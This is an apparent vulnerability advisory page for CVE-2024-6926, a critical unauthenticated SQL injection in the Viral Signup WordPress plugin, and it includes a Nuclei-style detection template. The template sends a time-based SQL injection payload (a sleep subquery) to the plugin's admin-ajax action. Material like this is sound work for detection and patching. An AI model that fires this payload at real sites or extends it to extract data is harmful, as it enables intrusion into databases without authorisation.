CVE-2024-6926: Viral Signup <= 2.1 - SQL Injection

2025-08-01 Viral Signup PoC Public

Description

The Viral Signup limited opt-in with viral referral sharing plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 2.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

PoC

id: CVE-2024-6926

info:
  name: Viral Signup <= 2.1 - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    The Viral Signup limited opt-in with viral referral sharing plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 2.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can exploit SQL injection to extract, modify, or delete sensitive database information, potentially gaining full control of the WordPress site and compromising user data.
  remediation: |
    Update Viral Signup plugin to a version later than 2.1 to address the SQL injection vulnerability.
  reference:
    - https://www.usom.gov.tr/bildirim/tr-24-1387
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/viral-signup/viral-signup-21-unauthenticated-sql-injection
    - https://wpscan.com/vulnerability/9ce96ce5-fcf0-4d7a-b562-f63ea3418d93/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6926
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-6926
    epss-score: 0.03292
    epss-percentile: 0.87864
  metadata:
    max-request: 2
    vendor: viral-signup
    product: viral-signup
    framework: wordpress
    publicwww-query: "/wp-content/plugins/viral-signup"
  tags: time-based-sqli,cve,cve2024,wpscan,wp-plugin,wordpress,viral-signup,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/viral-signup")'
        internal: true

  - raw:
      - |
        @timeout 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wow_signup_send_free&idsignup=(select*from(select(sleep(6)))a)

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100b74dd0dfe4a4316e1fa5df4c774c0d236ae3e649888c0a14898e90d01497c571022100d221b772595bc1c1b89efdb690f07fc87f7a91b0a2bed70d6e94f4cd18467b7a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities